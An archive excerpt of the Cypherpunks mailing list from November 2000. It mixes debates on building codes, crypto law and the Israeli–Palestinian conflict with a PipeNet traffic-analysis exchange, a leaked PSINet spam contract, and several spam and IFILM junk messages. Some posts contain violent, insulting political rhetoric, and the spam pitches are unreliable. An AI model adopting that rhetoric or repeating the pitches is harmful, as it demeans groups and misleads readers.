Dillinger) Date: Tue, 7 Nov 2000 00:00:58 -0500 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: <3.0.5.32.20001106181820.00954b40@207.69.200.219> Message-ID: On Mon, 6 Nov 2000, David Honig wrote: >At 02:13 AM 11/6/00 -0500, Tim May wrote: >> I just can't think of anything >>the law requires me to have in my house. As it should be. > >* running water >* N toilets per hectare >* electricity >* walls, stairs, floors made to certain state minima (standards) >* N metres of terra between A and B Um. Not true. Many of my relatives do without the first three owing to religious proscription. Since they tend to build their own homes in big house-raising parties, (ie, would rather pay for employing their own community for a day plus have singing, a banquet, and horseshoe pitching instead of paying the same money to "some outlander", aka a contractor) the standards to which contractors are held in building have never become an issue. Then again, as far as I know no Amish-built house has ever fallen down or had the roof blow off in a storm, and the locals hold them in high regard as solid structures (this is Kansas, where the wind occasionally dismantles other buildings). I don't think a structural inspection would likely be a problem.... Bear From declan at well.com Mon Nov 6 21:17:27 2000 From: declan at well.com (Declan McCullagh) Date: Tue, 7 Nov 2000 00:17:27 -0500 Subject: CDR: Jim Bell's House Being Searched In-Reply-To: ; from abs@squig.org on Mon, Nov 06, 2000 at 02:55:41PM -0800 References: Message-ID: <20001107001727.A24362@cluebot.com> On Mon, Nov 06, 2000 at 02:55:41PM -0800, Alex B. Shepardsen wrote: > Do you know what law enforcement agency these "types" represent? Can we > get names and badge numbers? Reportedly: Special Agent Phillip G. Scott IRS Special Agent Jeff Gordon -Declan From aethr at earthlink.net Mon Nov 6 21:23:36 2000 From: aethr at earthlink.net (Allen Ethridge) Date: Tue, 7 Nov 2000 00:23:36 -0500 Subject: CDR: Re: US report urges Arafat to use torture for peace Message-ID: <200011070523.VAA03336@falcon.prod.itd.earthlink.net> On Monday, November 6, 2000, at 10:59 PM, Harmon Seaver wrote: > fist sized rocks ... using the old thong slings like David > used to slay Goliath. Now there's an ironic reference. From tcmay at got.net Mon Nov 6 22:21:15 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 01:21:15 -0500 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: <3.0.5.32.20001106181820.00954b40@207.69.200.219> References: Message-ID: At 9:24 PM -0500 11/6/00, David Honig wrote: >At 02:13 AM 11/6/00 -0500, Tim May wrote: >> I just can't think of anything >>the law requires me to have in my house. As it should be. > >* running water Nope, no such law. >* N toilets per hectare Nope. >* electricity Are you just making this stuff up now? >* walls, stairs, floors made to certain state minima (standards) Only at the time of construction, and only in recent years. Many "substandard" dwellings exist. There may be requirements for upgrades when houses are sold, but this isn't what I said. >* N metres of terra between A and B Which explains rowhouses, condos, townhouses, and shotgun shacks. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From weidai at eskimo.com Mon Nov 6 22:39:21 2000 From: weidai at eskimo.com (Wei Dai) Date: Tue, 7 Nov 2000 01:39:21 -0500 Subject: CDR: Re: PipeNet protocol In-Reply-To: <200011062221.RAA01161@r00t.besiex.org>; from adam@cypherspace.org on Mon, Nov 06, 2000 at 05:21:34PM -0500 References: <200011062221.RAA01161@r00t.besiex.org> Message-ID: <20001106223840.B16881@eskimo.com> On Mon, Nov 06, 2000 at 05:21:34PM -0500, Adam Back wrote: > Adam Shostack made the comment about insufficiency of padding in > PipeNet you're referring to. Sorry about that. > The other thing we could do is move content inside the network -- much > of the traffic analysis material comes from the fact the exit traffic > is in the clear. For example if many web servers supported > connections from the freedom cloud using freedom protocol, and nodes > in the network did per hop padding using a modified PipeNet scheduling > algorithm where you would try to use PipeNet scheduling, but instead > of delaying, if a packet didn't arrive in time, you would send some > cover instead on a hop by hop basis. Then you package this thing as > an accompanying apache server and encourage lots of people to run it. I don't think that works very well. When you send some hop by hop padding, every node downstream would be able to tell that some delay occured somewhere upstream in the connection. So if either the receiver (the last node) or the next to last node is compromised, the attacker would be able to trace the caller by correlating between delays in the network and where hop by hop padding occurs. From registration at ifilm.com Tue Nov 7 03:54:57 2000 From: registration at ifilm.com (registration at ifilm.com) Date: Tue, 7 Nov 2000 03:54:57 -0800 (PST) Subject: CDR: Welcome to IFILM! Message-ID: <200011071154.DAA39463@ns1.ifilm.com> Dear cypunks, Thank you for registering with IFILM, the only place to watch every film on the Internet. To complete your registration, simply click on the URL below-or reply to this email-and you'll be on your way to enjoying the best entertainment on the Web! Note: If you reply, it may take up to 30 minutes for your account to be activated. http://www.ifilm.com/login/registration_verification?ifilmid=582231 (If clicking on this link doesn't work, try copying and pasting it into your browser's address window instead.) Questions? Let us know! Send email to info at ifilm.com. If you choose to reply to this message instead of clicking on the link above, it may take up to 4 hours for your rating and review privileges to be activated. IFILM (www.ifilm.com): The only place to watch every film on the Web id=582231 From registration at ifilm.com Tue Nov 7 04:05:09 2000 From: registration at ifilm.com (registration at ifilm.com) Date: Tue, 7 Nov 2000 04:05:09 -0800 (PST) Subject: CDR: Your IFILM registration is confirmed! Message-ID: <200011071205.EAA83721@ns1.ifilm.com> Dear cypunks, Welcome to IFILM, the Web's largest film collection and leading entertainment resource. IFILM delivers more than 10,000 Internet films, the latest Industry news and unlimited information about films, filmmaking and the film industry. * Watch, rate and review all of our films! * Check out the daily IFILM Picks! * Read the latest on the new movie releases and box-office hits! * See today's Cool Click or Web Pick! * Take a peek at the new Erotica Showcase! * Prepare yourself for Spike & Mike's Sick and Twisted Festival of Animation! * Watch a film on any of our 11 channels: Action, Animation, Comedy, Drama, Sci-fi, Thriller and more! So...what are you looking at? Questions? Let us know! Send email to info at ifilm.com IFILM (www.ifilm.com): The only place to watch every film on the Web From proff at suburbia.net Mon Nov 6 10:02:26 2000 From: proff at suburbia.net (Julian Assange) Date: Tue, 7 Nov 2000 05:02:26 +1100 (EST) Subject: CDR: Re: The Ant and the Grasshopper In-Reply-To: <3A069904.7898F760@ricardo.de> "from Tom Vogt at Nov 6, 2000 12:41:56 pm" Message-ID: <20001106180226.03C8F6C6A1@suburbia.net> RUSSIAN VERSION The ant works hard in the withering heat all summer long, building his house and laying up supplies for the winter. The grasshopper thinks he's a fool and laughs, dances, and plays the summer away. Come winter, the ant is warm and well fed. The grasshopper has no food or shelter, so he calls up his uncle and asks for help. The ants food stores are inspected and found vulnerable to dry rot. A systemic problem among ants. For the benefit of the ant, his food stores are placed in a national storage facility. The grasshopper is given a job managing the facility. The central store rapidly develops dry rot. Millions of ants die. But somehow there always seems enough grains left for the grasshopper. After a while the grosshopper's uncle suggests that the solution to the dry rot problem is de-nationalisation via employee ownership. The facility is sold for one grain to the grasshopper, who then sells it for half a grain to his uncle. The grass-hopper is re-hired as manager. The uncle becomes fantastically rich. The ant gives up collecting grain and finds a personal-security position protecting the uncle from other ants. All three go out to a Moscow night club to celebrate and are gunned down by a group of ants working as corporate-security professionals for Gazcom. Cheers, Julian. From registration at ifilm.com Tue Nov 7 05:17:37 2000 From: registration at ifilm.com (registration at ifilm.com) Date: Tue, 7 Nov 2000 05:17:37 -0800 (PST) Subject: CDR: Your IFILM registration is confirmed! Message-ID: <200011071317.FAA71657@ns1.ifilm.com> Dear cypunks, Welcome to IFILM, the Web's largest film collection and leading entertainment resource. IFILM delivers more than 10,000 Internet films, the latest Industry news and unlimited information about films, filmmaking and the film industry. * Watch, rate and review all of our films! * Check out the daily IFILM Picks! * Read the latest on the new movie releases and box-office hits! * See today's Cool Click or Web Pick! * Take a peek at the new Erotica Showcase! * Prepare yourself for Spike & Mike's Sick and Twisted Festival of Animation! * Watch a film on any of our 11 channels: Action, Animation, Comedy, Drama, Sci-fi, Thriller and more! So...what are you looking at? Questions? Let us know! Send email to info at ifilm.com IFILM (www.ifilm.com): The only place to watch every film on the Web From registration at ifilm.com Tue Nov 7 05:33:32 2000 From: registration at ifilm.com (registration at ifilm.com) Date: Tue, 7 Nov 2000 05:33:32 -0800 (PST) Subject: CDR: Your IFILM registration is confirmed! Message-ID: <200011071333.FAA34853@ns1.ifilm.com> Dear cypunks, Welcome to IFILM, the Web's largest film collection and leading entertainment resource. IFILM delivers more than 10,000 Internet films, the latest Industry news and unlimited information about films, filmmaking and the film industry. * Watch, rate and review all of our films! * Check out the daily IFILM Picks! * Read the latest on the new movie releases and box-office hits! * See today's Cool Click or Web Pick! * Take a peek at the new Erotica Showcase! * Prepare yourself for Spike & Mike's Sick and Twisted Festival of Animation! * Watch a film on any of our 11 channels: Action, Animation, Comedy, Drama, Sci-fi, Thriller and more! So...what are you looking at? Questions? Let us know! Send email to info at ifilm.com IFILM (www.ifilm.com): The only place to watch every film on the Web From ravage at ssz.com Tue Nov 7 05:09:13 2000 From: ravage at ssz.com (Jim Choate) Date: Tue, 7 Nov 2000 07:09:13 -0600 (CST) Subject: CDR: Re: US report urges Arafat to use torture for peace In-Reply-To: <3A078C31.F0B41216@harmon.arrowhead.lib.mn.us> Message-ID: On Mon, 6 Nov 2000, Harmon Seaver wrote: > What would you do if a mob came at you throwing stones the size of your > fist? I'd open up on them myself without a qualm. And not with rubber bullets > either. The Israeli soldiers are showing incredible restraint -- I'd just go > rock and roll solid ball, with a ma deuce if I had it. The Isreali's are showing incredible restraint? I agree, any country that makes it illegal to fly ones own national flat in ones own front yard is truly showing incredible restraint. Any country that uses tanks and attack helicopters to keep control of other peoples land is showing incredible restraint. The Isrealis are a bunch of fucking fascist who are out to steal other peoples land by killing them. Hell if the Isreali's had one speck of human dignity and compassion they'd agree to Jerusalem being an open city and allow it to represent both religions. Neither side is 'right' in this until both sides can see a way to live next door to each other and share their commen heritage. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Tue Nov 7 05:10:45 2000 From: ravage at ssz.com (Jim Choate) Date: Tue, 7 Nov 2000 07:10:45 -0600 (CST) Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: Message-ID: On Mon, 6 Nov 2000, petro wrote: > >On Sun, 5 Nov 2000, Ray Dillinger wrote: > > > >> An interesting exercise is to ask where the government (ANY branch of > >> government) gets the authority to require me to put smoke detectors > >> in my home. If my house burns down, that's my tough toenails, right? > Typical Texan, thinking that Texas is the whole world. No, simply pointing out that contrary to Ray's assertion everyone, everywhere doesn't do it the same way. In fact I'm saying the blanket statement is wrong, as is yours. Fucking bigots. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From bear at sonic.net Tue Nov 7 08:10:34 2000 From: bear at sonic.net (Ray Dillinger) Date: Tue, 7 Nov 2000 08:10:34 -0800 (PST) Subject: CDR: Re: Crypto law in Malta In-Reply-To: <20001107133032.C22031@ndh.net> Message-ID: last I heard, Malta had no laws regarding crypto whatsoever. But that's been at least a year and a half. Bear On Tue, 7 Nov 2000, Frank Dick wrote: >Hello, does anybody knows something about a crypto law in Malta? > >Regards >Frank > From netsurf at sersol.com Tue Nov 7 08:23:00 2000 From: netsurf at sersol.com (James D. Wilson) Date: Tue, 7 Nov 2000 08:23:00 -0800 Subject: CDR: FW: MEDIA: The PSINet Pink Contract Message-ID: Another Tier-1 ISP giving spammers guaranteed ability to spam without being terminated. This time it is PSI... -----Original Message----- From: Spam Prevention Discussion List [mailto:SPAM-L at PEACH.EASE.LSOFT.COM]On Behalf Of Steve Linford Sent: Monday, November 06, 2000 11:26 PM To: SPAM-L at PEACH.EASE.LSOFT.COM Subject: MEDIA: The PSINet Pink Contract Re: CNET Story: PSINet assailed as spam contract surfaces We have had a copy of this second pink contract for a few days but were unable to prove where it came from and so had not published it. However as CNET has independently verified its authenticity with both the spam outfit and PSINet, I'll append the full text of the contract below. I found the following clauses particularly serious: Paragraph 2: PSINet acknowledges that this is a contract to allow "Opt-out commercial email" (i.e: Spam) to be sent "in mass quantity" by the customer, which PSINet acknowledges is in the spam business. Clause 2: PSINet agrees that "Opt-out commercial email" (i.e: Spam) will be sent "in mass quantity" from the customer's PSINet line. Clause 3: PSINet will pass all spam complaints straight to the spam outfit. (We know from experience that under these contracts PSINet's US abuse desk will send a "the matter has been dealt with" autoreply to Internet users, which will deliberately deceive users that the spammers have been terminated. We also know that PSINet's US abuse desk knows that we know it does this.) Clause 8: PSINet agrees that the spam outfit will also spamvertize their web sites. Clause 9: This is a "danger money" clause in which PSINet wants an non-refundable up-front payment of $27,000 "for PSINet's increased risks associated with this Agreement" and states this payment will NOT be applied towards the customer's fees. I think the ISP community as a whole needs to reexamine it's ethics. The contracts we're finding show that far from regulating themselves some US backbones are colluding with spammers to profit off the spam problem. Although I can't prove it, I know this same case exists with the Empire Towers spammers on OarNet and Qwest (ET even tell their customers they 'buy' the providers ethics, purchasing large lines in exchange for the provider looking the other way). Perhaps even more disturbing for me is that these contracts can't exist without the collusion of the provider's abuse desk, as these contracts rely on the abuse desk eating complaints and fobbing users off. ---------------------------------------------------------------------- [PSINet logo] Special Addendum to PSINet Order Form Standard Terms and Conditions This Addendum reflects agreement by the parties on the following modifications to the PSINet Order Form Standard Terms and Conditions (hereinafter the 'Agreement') by and between PSINet Inc. and Cajunnet, Inc., a Louisiana Corporation ('Customer') dated of even date herewith. Collectively, Cajunnet and PSINet are herein referred to as the "Parties". Except as expressly stated herein, all other aspects of the Agreement shall remain in full force and effect including capitalized terms which shall carry the same definitions as specified in the Agreement. WHEREAS, Cajunnet is in the business of sending opt-in and opt-out commercial e-mail; commercial email being defined as the sending of e-mail in mass quantity to notify the recipients of products and services which are being offered to the public; and WHEREAS, under a separate agreement, the Parties have agreed and contracted whereby PSINet will provide Customer a DS-3 trunk line for the operation of its opt-in and opt-out commercial e-mail business as a tier one provider; and WHEREAS, the Parties wish to provide, in this Addendum, an outline of Cajunnet's use of the DS-3 line in its opt-in and opt-out commercial e-mail business; THEREFORE, the Parties agree as follows: 1. Customer will not use the DS-3 line to send any e-mail or other mass unsolicited electronic mailing which contains pornography or any other illegal products or services. 2. Customer will send commercial e-mail only to opt in and opt out lists and will offer to the receiver of such e-mail the option to be removed from any such list. Customer shall set up a 24x7 Abuse Team that PSINet can contact to handle all complaints by any recipients of such e-mail. All complaints shall be responded to within two hours of receipt in the same form that PSINet would handle them. Any recipients who register a complaint regarding the receipt of such e-mail shall be removed from Customer's e-mail database within twenty-four (24) hours.All abuse complaints will be answered by an auto responder with an assigned ticket #. PSINet will be issued a toll-free 24 hour number they can contact. If any complaints are received by PSINet, PSINet will forward in its entirety (unchanged) to Cajunnet's abuse account on a 24 hour service. If person sends multi complaints, it will be considered as one complaint. 4. At the request of PSINet, within twenty-four (24) hours, Customer will provided PSINet with a list and sample of all commercial e-mails which have been sent by Customer over the DS-3 line within the most recent fifteen (15) day period. 5. Customer will adhere to any and all federal guidelines and regulation governing the sending of commercial e-mail as for a tier one provider. 6. In the event that PSINet proves that Customer is in default under this or any related agreement between the Parties, PSINet may terminate Customer's service upon 10 business days notice if written proof is given. Customer will with all due diligence try to correct problem within 24 hours. If PSINet receives any indication that Customer is continuing to violate PSINet's policy within this ten business day period, PSINet shall immediately terminate Customer' use of the DS-3 line. 7. Both Parties acknowledge that the corporate representative signing below is duly authorized to execute this Agreement on behalf of the respective party. 8. Customer will also host sites that it is advertising for on the same line. 9. Customer shall provide PSINet with a deposit of Twenty Seven Thousand dollars ($27,000) upon the execution of the Agreement to provide for PSINet's increased risks associated with this Agreement. Customer acknowledges that this is a non-refundable deposit that shall not be applied towards Customer's monthly fees. Customer's acceptance of this Addendum is indicated by signature below; PSINet's acceptance is indicated by proposal of this Addendum in its initial format. Customer: Cajunnet, Inc. Signature Name: Title: Date PSINet Inc., 44983 Knoll Square, Ashburn, VA 20147 http://www.psi.net ---------------------------------------------------------------------- -- Steve Linford The Spamhaus Project http://www.spamhaus.org From cindy43 at clickidaho.com Tue Nov 7 10:01:36 2000 From: cindy43 at clickidaho.com (cindy43) Date: Tue, 07 Nov 2000 10:01:36 -0800 Subject: CDR: Hey .... Message-ID: <200011080256.LAA13644@routernms.> You are currently listed as: cypherpunks at cyberpass.net This is sent to my Priority List .. I saved your email address from our past correspondence. If you are no longer interested in interchanging informations, please accept my sincere apology and reply with "Remove". ========================= CAN I ASK YOU A QUESTION?? Are You Tired of Surfing the Net, Looking for an Online Business, and Never Getting Anywhere? WHAT IF There was a way. http://www.moneyfrompc.com/36.html _______________________ To remove, hit reply and type "remove" at subject. From hseaver at harmon.arrowhead.lib.mn.us Tue Nov 7 07:28:27 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Tue, 7 Nov 2000 10:28:27 -0500 Subject: CDR: Re: US report urges Arafat to use torture for peace References: Message-ID: <3A081F8C.E0308DF1@harmon.arrowhead.lib.mn.us> Forget the politics, whose right or wrong, etc. -- just consider the situation of a mob coming at you throwing large stones (and molotov cocktails -- and also firing weapons occasionally). What would you do, hold your fire? Use rubber bullets? What I object to is the slanted reporting of the left-wingers who continually speak about "stone throwing youths" as if these were children throwing little pebbles. But on the political side -- yes, there too the Israeli's are showing restraint. They should never have allowed any Arabs to remain inside their borders. The Palestinians have a country, it's called Jordan. And the problem in Jordan is that they have a royal family who is not Palestinian, but Saudi. Everyone else is Palestinian. Israel is a incredibly tiny piece of land, very hard to defend militarily, and impossible without the westbank. I notice that those people who whine about the Israeli's taking Arab land don't follow their own beliefs and pack up and go back to Europe and give my ancestors land back to us. Fair is fair, right? Put your money where your mouth is, Choate. -- Harmon Seaver, MLIS Systems Librarian Arrowhead Library System Virginia, MN (218) 741-3840 hseaver at arrowhead.lib.mn.us http://harmon.arrowhead.lib.mn.us From pjcjr at us.ibm.com Tue Nov 7 08:14:22 2000 From: pjcjr at us.ibm.com (Peter Capelli/Raleigh/Contr/IBM) Date: Tue, 7 Nov 2000 11:14:22 -0500 Subject: CDR: Will it never end ... Message-ID: I went down to vote today, and noticed some signs for a state-wide school bond issue ($3.1 BILLION) (NC). The slogan was what caught my eye: "Do it for the children" and, "It will not raise your taxes". I didn't know whether to laugh, or cry. -p "Those who would give up essential liberty for temporary safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 From honig at sprynet.com Tue Nov 7 08:24:43 2000 From: honig at sprynet.com (David Honig) Date: Tue, 7 Nov 2000 11:24:43 -0500 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: References: <3.0.5.32.20001106181820.00954b40@207.69.200.219> Message-ID: <3.0.5.32.20001107080552.0094dad0@207.69.200.219> At 09:00 PM 11/6/00 -0800, Ray Dillinger wrote: >On Mon, 6 Nov 2000, David Honig wrote: >>* running water >>* N toilets per hectare >>* electricity >>* walls, stairs, floors made to certain state minima (standards) >>* N metres of terra between A and B > >Um. Not true. Many of my relatives do without the first three >owing to religious proscription. Since they tend to build their >own homes in big house-raising parties, (ie, would rather pay for >employing their own community for a day plus have singing, a >banquet, and horseshoe pitching instead of paying the same money >to "some outlander", aka a contractor) the standards to which >contractors are held in building have never become an issue. > >Then again, as far as I know no Amish-built house has ever fallen Wow, you're related to the Amish? Anyway the English :-) may make exceptions for the Amish, but generally, and even in rural america, you can't sell a house for human (chiiiildren) occupation that's not wired for classical infrastructure ---water, wires, N lbs/ft^2. [Just another example of the state rape of property rights which I do not defend] Rural folks may get away with more slack, but only because they may not be caught. Simple example: No matter how rural you are, a single cat-tail gives the ARmy Corps of Engrs 'rights' to control the use of that 'wetland'; however this is hard to enforce universally because the Army Corps doesn't have access to 10 cm spy satellites to survey every farm. [not intending to start an ecological flame] From honig at sprynet.com Tue Nov 7 08:24:43 2000 From: honig at sprynet.com (David Honig) Date: Tue, 7 Nov 2000 11:24:43 -0500 Subject: CDR: Re: US report urges Arafat to use torture for peace In-Reply-To: <3A078C31.F0B41216@harmon.arrowhead.lib.mn.us> References: <3.0.5.32.20001106181238.009507b0@207.69.200.219> Message-ID: <3.0.5.32.20001107081118.00943d70@207.69.200.219> At 11:59 PM 11/6/00 -0500, Harmon Seaver wrote: > What kind of bullshit is this? The term "stone throwers" make's it sound >like it's a bunch of little kids thowing pebbles. These dudes are throwing >fist sized rocks and many of them are using the old thong slings like David >used to slay Goliath. And you get a whole gang of them -- it's deadly barrage. >That's how they used to execute people over there -- "let him who casts the >first stone", eh? > What would you do if a mob came at you throwing stones the size of your >fist? I'd open up on them myself without a qualm. And not with rubber bullets >either. The Israeli soldiers are showing incredible restraint -- I'd just go >rock and roll solid ball, with a ma deuce if I had it. > 1. the soldiers have riot gear on, hand-thrown stones aren't too significant 2. its a judgement call about appropriate force and I was gisting an Israeli general in charge. They use snipers' head shots on cocktailers. From honig at sprynet.com Tue Nov 7 08:24:43 2000 From: honig at sprynet.com (David Honig) Date: Tue, 7 Nov 2000 11:24:43 -0500 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: References: <3.0.5.32.20001106181820.00954b40@207.69.200.219> Message-ID: <3.0.5.32.20001107081832.00943810@207.69.200.219> At 01:21 AM 11/7/00 -0500, Tim May wrote: >At 9:24 PM -0500 11/6/00, David Honig wrote: >>* N toilets per hectare > >Nope. > >>* electricity > >Are you just making this stuff up now? > >>* walls, stairs, floors made to certain state minima (standards) > >Only at the time of construction, and only in recent years. Many >"substandard" dwellings exist. There may be requirements for upgrades >when houses are sold, but this isn't what I said. > >>* N metres of terra between A and B > > >Which explains rowhouses, condos, townhouses, and shotgun shacks. > > >--Tim May Perhaps you are lucky enough to live in an area completely without building codes, but I doubt it. [Similarly, some are lucky enough to live in areas with constitutional gun laws, too, but most don't. Even if you live freely now, you remain succeptible to zoning boards and state legislatures.] Fact is, there are in many places laws on what you can build on your own land and what you need to sell it as a house. Some places even have laws about the litres used when you flush ---you can't sell a house with old toilets. These are not voluntary (e.g., CC&R) regs, nor are they anti-fraud provisions, they are laws backed by guns which prohibit certain private actions. Unconstitutional taking. From tom at ricardo.de Tue Nov 7 02:38:00 2000 From: tom at ricardo.de (Tom Vogt) Date: Tue, 07 Nov 2000 11:38:00 +0100 Subject: CDR: Re: AT&T signs bulk hosting contract with spammers References: Message-ID: <3A07DB88.FED49022@ricardo.de> Jim Choate wrote: > > you're right. that's why I said "what's left of it". > > But if it wasn't ever there how can there be any left of it? there always was security. just never enough to make a difference in the total sum. but it's not like *every* machine on the net is wide open. > > no. the argument is: if you make probing illegal, we'll see even more > > (and *much* more) "security through obscurity" - because figuring out > > that this crap is insecure will land you in jail. > > Going to jail won't stop anyone from figuring it out if that's what they > want. I would be so bold as to suggest that if they make it illegal then > you'll see a significant rise in the behaviour, along with increased use > of anonymous remailers and Open Source software than can be kludged. there's a lot of people who couldn't care less. however, there are also a couple of people who do care. for example, I have occasional sysadmin-to-sysadmin contacts along the lines of "hey, by accident I found that on your site..." - that would definitely not work as well if by pointing out some config error to the guy running the site you risk that if he's an asshole you're in a lawsuit. From ptrei at rsasecurity.com Tue Nov 7 08:44:16 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Tue, 7 Nov 2000 11:44:16 -0500 Subject: CDR: RE: Here's an interesting twist on gun control ... Message-ID: > ---------- > > At 09:00 PM 11/6/00 -0800, Ray Dillinger wrote: > >Then again, as far as I know no Amish-built house has ever fallen > > Wow, you're related to the Amish? > > Anyway the English :-) may make exceptions for the Amish, but generally, > and even in rural america, you can't sell a house for human (chiiiildren) > occupation > that's not wired for classical infrastructure ---water, wires, N lbs/ft^2. > > Huh? A couple of years ago I was driving through Lancaster county , Pennsylvania (ground zero for the Amish in the US). There were plenty of Amish houses on the edge of towns, which most conspicuously did *not* have the power, phone, and cable hookups which the 'English' houses did. Can't speak for water or sewage, which would be underground. These were not isolated farmhouses, but otherwise 'normal' looking suburban tract homes, I'd guess not more that 10-15 years old. Peter From jamesd at echeque.com Tue Nov 7 08:49:18 2000 From: jamesd at echeque.com (James A. Donald) Date: Tue, 7 Nov 2000 11:49:18 -0500 Subject: CDR: Re: US report urges Arafat to use torture for peace In-Reply-To: <3.0.5.32.20001106181238.009507b0@207.69.200.219> References: <438f5b53521dca6382cdd2535f5435ba@mixmaster.shinn.net> Message-ID: <4.3.1.2.20001107083318.00ba9a88@shell11.ba.best.com> -- At 11:14 PM 11/5/00 -0500, An Metet wrote: > > It excuses the use of Israeli live bullets against stone-throwers, > > adding that CS gas and rubber bullets are 09:18 PM 11/6/2000 -0500, David Honig wrote: > The Israelis claim that they use live ammo against molotov > cocktailers, not mere stoners. This claim is partly true, and partly false. In a few cases the Jews have openly responded to rocks with gunfire. I would do the same in their shoes. In many cases someone in hiding slingshots a rock at a Jewish gunman and then runs, the Jewish gunmen men then kill some random Palestinians in reprisal, and then proclaim they think that someone was shooting at them. Note I said Jewish gunmen, not Israeli gunmen, since non Jewish citizens of Israel are screwed almost as badly as the non citizens, because Jewish non citizens have no difficulty exercising freedom to move themselves, goods, and money throughout Israel and the occupied territories, whereas non Jewish citizens have great difficulty in doing this. About half the Palestinians that are killed are shot in the head. If they shot in the course of combat, more of them would be shot in the trunk. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG KUQ1s2xYS02SRwUmgwJvdgjGmkWZaXnDr+eo9q29 4KHmU5/34CgqD/sLbCdGLzO9IpmDw8W9691cvy+KS From tcmay at got.net Tue Nov 7 09:12:49 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 12:12:49 -0500 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: <3.0.5.32.20001107081832.00943810@207.69.200.219> References: <3.0.5.32.20001106181820.00954b40@207.69.200.219> Message-ID: At 11:24 AM -0500 11/7/00, David Honig wrote: > >Perhaps you are lucky enough to live in an area completely without >building codes, but I doubt it. [Similarly, some are lucky enough to live in >areas with constitutional gun laws, too, but most don't. Even if you live >freely now, you remain succeptible to zoning boards and state >legislatures.] Fact is, there are in many places laws on what you can >build on your own land >and what you need to sell it as a house. Some places even have >laws about the litres used when you flush ---you can't sell a house with >old toilets. These are not voluntary >(e.g., CC&R) regs, nor are they anti-fraud provisions, they are laws >backed by guns which prohibit certain private actions. Unconstitutional >taking. You don't get it, do you? I said there are no laws requiring me to have anything in my house. There aren't. Please read more carefully next time. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From return61 at uole.com Tue Nov 7 09:31:22 2000 From: return61 at uole.com (return61 at uole.com) Date: Tue, 7 Nov 2000 12:31:22 -0500 Subject: CDR: Quick Approvals...$...Fast Cash! 3382 Message-ID: <200011071705.JAA28861@sirius.infonex.com> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 13116 bytes Desc: not available URL: From return61 at uole.com Tue Nov 7 09:34:58 2000 From: return61 at uole.com (return61 at uole.com) Date: Tue, 7 Nov 2000 12:34:58 -0500 Subject: CDR: Fast Approvals...$...Quick Cash! 31539 Message-ID: A non-text attachment was scrubbed... Name: not available Type: text/html Size: 13122 bytes Desc: not available URL: From not_so_anony_mous at hotmail.com Tue Nov 7 09:36:59 2000 From: not_so_anony_mous at hotmail.com (not_so_anony mous) Date: Tue, 7 Nov 2000 12:36:59 -0500 Subject: CDR: Re: Crypto law in Malta Message-ID: On Tue, 7 Nov 2000, Frank Dick wrote: >Hello, does anybody knows something about a crypto law in Malta? > >Regards >Frank http://www2.epic.org/reports/crypto2000/countries.html#Heading75 Malta 2000 YELLOW 1999 NOT REPORTED According to Maltacom, the main telecommunications provider in Malta, encryption is a sensitive item and little information is available. However, Malta is attempting to join the European Union and must makes its laws consistent with the EU�s. Ref: Email from Maltacom, February 4, 2000. Country Commercial Guide: Malta. Report prepared by the U.S. Embassy, Valletta, Malta. August 1998. _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. From imail-html-help at lists.ifilm.com Tue Nov 7 05:17:27 2000 From: imail-html-help at lists.ifilm.com (imail-html-help at lists.ifilm.com) Date: 7 Nov 2000 13:17:27 -0000 Subject: CDR: ezmlm response Message-ID: <973603047.63644.ezmlm@lists.ifilm.com> Thanks for signing up to the IFILM Newsletter. However, we've noticed that you already have a subscription. To change any of your personal options, please use the "sign-in" option located in the navigation menu on the top of the IFILM home page. If you feel that you have received this message in error, let us know -- info at ifilm.com. Thank you. IFILM -- The Place For Internet Film http://www.ifilm.com From anonymous at openpgp.net Tue Nov 7 10:25:36 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Tue, 7 Nov 2000 13:25:36 -0500 Subject: CDR: vote trading no freedom of speech Message-ID: <4ce7789acd4d8f4936fe2151cf70e8c1@mixmaster.ceti.pl> Courts assail online vote-swap and auction sites November 7, 2000 Web posted at: 11:45 AM EST (1645 GMT) From staff and wire reports Courts on both sides of the nation issued rulings ahead of the Tuesday elections unfavorable to Web sites that encourage voters to swap presidential ballots for political or financial gain. In Los Angeles, a federal judge refused to stop state officials from cracking down on California-based Web sites that let users in one state trade their vote for president to someone in another state. The American Civil Liberties Union (ACLU) of Southern California had sought to get a temporary restraining order, arguing Secretary of State Bill Jones actions were an unconstitutional restriction of free speech. U.S. District Judge Robert Kelleher denied the request in a ruling issued Monday night. The Web sites seek to have Green Party candidate Ralph Nader supporters cast their votes for Vice President Al Gore in states where the presidential race is expected to be close. In exchange, 